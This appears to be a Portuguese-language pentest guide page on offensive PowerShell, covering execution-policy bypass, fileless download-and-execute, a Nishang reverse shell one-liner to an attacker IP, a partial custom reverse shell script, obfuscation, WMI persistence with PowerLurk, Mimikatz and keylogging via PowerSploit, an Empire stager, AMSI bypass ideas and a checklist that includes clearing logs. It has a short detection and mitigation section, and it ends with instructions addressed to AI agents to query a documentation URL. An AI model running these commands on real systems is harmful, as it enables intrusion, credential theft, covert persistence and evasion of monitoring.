# Powershell

### 📑 **Índice**

1. Fundamentos do PowerShell
2. Comandos Básicos
3. Execução de Scripts e Políticas
4. Execução Fileless
5. Ofuscação
6. PowerShell + WMI
7. Ferramentas e Frameworks
8. Detecção e Mitigação

***

### 🔍 **Fundamentos do PowerShell**

#### **O que é PowerShell?**

PowerShell é uma linguagem de scripting, um ambiente de scripting, um interpretador de linha de comando (shell) e um framework de gerenciamento remoto que existe por padrão desde o Windows 7 e Windows Server 2008 R2. É o sucessor do cmd.exe, cscript e vbscript, sendo atualmente a linguagem padrão para scripts em ambiente Windows.

#### **Características Principais**

```yaml
Características do PowerShell:
  ✅ Orientado a Objeto: Não manipula texto, mas sim objetos com propriedades e métodos
  ✅ Construído sobre .NET Framework
  ✅ Pode ser considerado um programa compilado em .NET
  ✅ Versões: Windows PowerShell (FULL .NET) e PowerShell Core (cross-platform)
  ✅ Hosts: PowerShell Console (powershell.exe) e PowerShell ISE (powershell_ise.exe)

Arquitetura:
  - A DLL System.Management.Automation.dll é o verdadeiro motor (engine)
  - O console é apenas um processo de hospedagem (wrapper)
  - Versões: 32 bits (SysWOW64) e 64 bits (System32)
```

#### **Vantagens para Segurança Ofensiva**

```yaml
Vantagens:
  ✅ Aplicação "confiável" e nativa do Windows
  ✅ Bypass de whitelist application
  ✅ Interação com WMI, .NET, Windows APIs
  ✅ Execução fileless (em memória, sem tocar no disco)
  ✅ Grande quantidade de ferramentas de ataque disponíveis

Estrutura dos Cmdlets:
  - Sintaxe: Verbo-Nome (ex: Get-Command, Invoke-Expression)
  - Pipeline entre objetos (não texto)
  - Auto-completar com [TAB]
```

***

### 💻 **Comandos Básicos**

#### **Informações do Sistema**

```powershell
# Verificar versão do PowerShell
$PSVersionTable
Get-Host
$host

# Verificar arquitetura
[System.Environment]::Is64BitOperatingSystem
[System.Environment]::Is64BitProcess

# Localização do PowerShell
# 64 bits: C:\Windows\System32\WindowsPowerShell\v1.0
# 32 bits: C:\Windows\SysWOW64\WindowsPowerShell\v1.0
```

#### **Cmdlets Essenciais**

```powershell
# Get-Command - Procurar por comandos
Get-Command *process*
Get-Command -Name *Firewall*

# Get-Help - Ajuda dos comandos
Get-Help *
Get-Help *process*
Get-Help -Full Get-Process

# Get-Process - Processos do sistema
Get-Process
Get-Process | Get-Member                    # Ver propriedades/métodos
Get-Process | Select-Object ProcessName     # Selecionar propriedade
Get-Process | ? {$_.ProcessName -like "c*"} # Filtrar

# Get-Service - Serviços do sistema
Get-Service
Get-Service | Where-Object Status -eq running
Get-Service | ? {$_.status -eq "running"}

# Aliases (apelidos)
Get-Alias                    # Listar aliases
Get-Alias -Definition Get-ChildItem
# Aliases comuns: gm (Get-Member), ? (Where-Object), % (ForEach-Object)
```

#### **Pipeline e Objetos**

```powershell
# Pipeline entre objetos
1..5 | ForEach-Object {$_ * 2}
Get-Process | Where-Object CPU -gt 100
Get-Process | Sort-Object -Property CPU -Descending | Select-Object -First 5

# Formatação de saída
Get-Process | Format-List -Property Name,Path
Get-Process | Format-Table -AutoSize
```

***

### 📜 **Execução de Scripts e Políticas**

#### **Execution Policy**

```powershell
# Verificar política atual
Get-ExecutionPolicy

# Tipos de Execution Policy
# Restricted: Todos os scripts bloqueados
# AllSigned: Scripts assinados digitalmente
# RemoteSigned: Scripts baixados da internet devem ser assinados
# Unrestricted: Scripts podem ser executados (alerta para baixados)
# Bypass: Qualquer script pode ser executado

# Alterar política (Administrador)
Set-ExecutionPolicy RemoteSigned
Set-ExecutionPolicy Unrestricted
Set-ExecutionPolicy Bypass
```

#### **Execução de Scripts**

```powershell
# Executar script (requer .\)
.\script.ps1

# Bypass da Execution Policy via linha de comando
powershell.exe -ExecutionPolicy Bypass .\script.ps1
powershell -exec bypass -noprofile .\script.ps1
powershell -c "comandos"

# Exemplo de script simples (teste.ps1)
Write-Host "Testando o PowerShell !!"
```

***

### 🚀 **Execução Fileless**

#### **Download e Execução em Memória**

```powershell
# Download de arquivo (System.Net.WebClient)
(New-Object Net.WebClient).DownloadFile("http://IP/arquivo", "C:\temp\file")

# Download via Invoke-WebRequest (alias wget)
wget "http://IP/arquivo" -OutFile "C:\temp\file"

# Download como string
(New-Object Net.WebClient).DownloadString('http://IP/arquivo')

# IEX (Invoke-Expression) - Executa string como comando
iex (New-Object Net.WebClient).DownloadString('http://IP/script.ps1')

# Exemplo prático: reverse shell fileless
powershell -nop -exec bypass -c "iex (New-Object Net.WebClient).DownloadString('http://172.16.192.200/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 172.16.192.200 -Port 5060"
```

#### **Script Customizado de Reverse Shell**

```powershell
# minRev.ps1 - Script mínimo de reverse shell
$socket = new-object System.Net.Sockets.TcpClient('10.10.10.2', 8080);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
    $writer.Write("> ");
    $writer.Flush();
    # ... continuação
}while(!$reader.EOF);
```

***

### 🎭 **Ofuscação**

#### **Invoke-Obfuscation**

```powershell
# Importar módulo
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

# Comandos no Invoke-Obfuscation
SET SCRIPTBLOCK iex(new-object net.webclient).downloadstring('http://IP/script.ps1')
show                              # Ver comando configurado
STRING\3                          # Ofuscar como string
ENCODING\6                        # Ofuscar via encoding
copy/clip                         # Copiar para clipboard
out                               # Salvar em arquivo
reset                             # Resetar ofuscação
undo                              # Desfazer última ofuscação
```

#### **PyFuscation**

```bash
# Instalação
git clone https://github.com/CBHue/PyFuscation.git

# Uso - ofuscar funções, variáveis e parâmetros
python3 PyFuscation.py -fpv --ps ./script.ps1

# Ofuscar apenas funções
python3 PyFuscation.py -f --ps ./PowerLurk.ps1
```

#### **Técnicas de Ofuscação**

```powershell
# Base64 encoding
$cmd = "whoami"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -enc $encoded

# Hex encoding
"whoami" | ForEach-Object { '{0:x}' -f [int]$_ }

# XOR encoding
$key = 0x1f
$encoded = [byte[]]("whoami".ToCharArray()) | ForEach-Object { $_ -bxor $key }
```

***

### 🔗 **PowerShell + WMI**

#### **Cmdlets WMI vs CIM**

```powershell
# Cmdlets WMI (tradicionais)
Get-WmiObject -Class Win32_Process
Get-WmiObject -List                    # Listar classes
Get-WmiObject -Class Win32_Service | Select-Object Name,State

# Cmdlets CIM (PowerShell 3.0+)
Get-CimInstance -ClassName Win32_Process
Get-CimInstance -Query "SELECT * FROM Win32_Process"
Get-CimInstance -Query "SELECT * FROM __namespace" -Namespace "root"
```

#### **WQL (WMI Query Language)**

```powershell
# Formato básico
SELECT <propriedade> FROM <Nome_Classe_WMI>
SELECT <propriedade> FROM <Nome_Classe_WMI> WHERE <propriedade> = 'valor'

# Exemplos práticos
Get-CimInstance -Query "SELECT * FROM Win32_Process"
Get-CimInstance -Query "SELECT Name,ProcessId FROM Win32_Process WHERE Name LIKE '%chrome%'"
```

#### **PowerLurk - Persistência via WMI**

```powershell
# Download do módulo PowerLurk
wget https://raw.githubusercontent.com/Sw4mpf0x/PowerLurk/master/PowerLurk.ps1

# Registrar evento malicioso (ex: execução da calculadora)
Register-MaliciousWMIEvent -EventName revcalc -PermanentCommand 'cmd.exe /c c:\temp\rev.bat' -Trigger ProcessStart -ProcessName calculator.exe

# Verificar eventos registrados
Get-WmiEvent -Name revcalc

# Remover evento
Get-WmiEvent -Name revcalc | Remove-WmiObject
```

***

### 🛠️ **Ferramentas e Frameworks**

#### **Nishang**

```bash
# Localização no Kali
cd /usr/share/nishang

# Scripts principais
ls Shells/
# Invoke-PowerShellTcp.ps1    - Reverse shell TCP
# Invoke-PowerShellIcmp.ps1   - Reverse shell ICMP
# Invoke-PowerShellUdp.ps1    - Reverse shell UDP

# Importar todos os scripts
Import-Module .\nishang.psm1
```

#### **PowerSploit**

```powershell
# Módulos principais
Import-Module PowerSploit
Get-Command -Module PowerSploit

# Exeuction
Invoke-Mimikatz                    # Coleta de credenciais
Invoke-Shellcode                   # Injeção de shellcode
Get-Keystrokes                     # Keylogging
PowerUp                            # Privilege escalation
```

#### **Empire/Starkiller**

```powershell
# Agente via PowerShell
powershell -noP -sta -w 1 -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...

# Stager via IEX
iex (New-Object Net.WebClient).DownloadString('http://IP:8080/launcher')
```

***

### 🛡️ **Detecção e Mitigação**

#### **Logging do PowerShell**

```yaml
Configuração via Local Group Policy (gpedit.msc):
  Computer Configuration => Administrative Templates => Windows Components => Windows PowerShell

Opções:
  - Turn On Module Logging
  - Turn On PowerShell Script Block Logging

Localização dos logs:
  - Applications and Services Logs => Windows PowerShell
  - Applications and Services Logs => Microsoft => Windows => PowerShell => Operational
```

#### **AMSI (Antimalware Scan Interface)**

```yaml
O que é AMSI:
  - API desenvolvida pela Microsoft
  - Permite que aplicações enviem conteúdo para scan
  - Funciona para conteúdo em disco e em memória
  - Pode detectar scripts maliciosos mesmo fileless

Bypass de AMSI:
  - Ofuscação de scripts (PyFuscation, Invoke-Obfuscation)
  - Codificação em Base64
  - Utilização de técnicas de reflexão
```

#### **Indicadores de Comprometimento**

```yaml
IOCs para PowerShell Ofensivo:
  - Chamadas a IEX com DownloadString
  - Uso de classes como System.Net.WebClient
  - Execução com -nop -exe bypass -enc
  - Scripts com nomes ofuscados (fig.jpg, config.php)
  - Comandos base64 codificados longos
```

***

### 📋 **Checklist de Segurança**

#### **Checklist para Defesa**

* [ ] Configurar Execution Policy restritiva (AllSigned)
* [ ] Habilitar Module Logging e Script Block Logging
* [ ] Configurar AMSI
* [ ] Monitorar logs de PowerShell centralizadamente
* [ ] Bloquear execução de IEX com parâmetros suspeitos
* [ ] Utilizar Windows Defender com ASR rules

#### **Checklist para Pentest**

* [ ] Verificar Execution Policy atual
* [ ] Testar bypass via linha de comando
* [ ] Utilizar técnicas fileless para evitar logs
* [ ] Ofuscar scripts e comandos
* [ ] Utilizar WMI para persistência furtiva
* [ ] Limpar logs após atividades

***

### 🔐 **Comandos Rápidos de Referência**

```powershell
# Bypass Execution Policy
powershell -exec bypass .\script.ps1
powershell -nop -exe bypass -c "iex (New-Object Net.WebClient).DownloadString('http://IP/script.ps1')"

# Reverse Shell com Nishang
iex (New-Object Net.WebClient).DownloadString('http://IP/Invoke-PowerShellTcp.ps1')
Invoke-PowerShellTcp -Reverse -IPAddress IP -Port PORT

# Download e execução fileless
iex (New-Object Net.WebClient).DownloadString('http://IP/payload.ps1')

# Coleta de informações com WMI
Get-WmiObject -Class Win32_ComputerSystem
Get-WmiObject -Class Win32_Process | Select Name,ProcessId

# Persistência via WMI (PowerLurk)
Register-MaliciousWMIEvent -EventName backdoor -PermanentCommand 'powershell -enc BASE64' -Trigger ProcessStart -ProcessName notepad.exe

# Ofuscação com Invoke-Obfuscation
SET SCRIPTBLOCK iex(new-object net.webclient).downloadstring('http://IP/shell.ps1')
ENCODING 6
copy/clip
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/ambientes/windows/powershell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
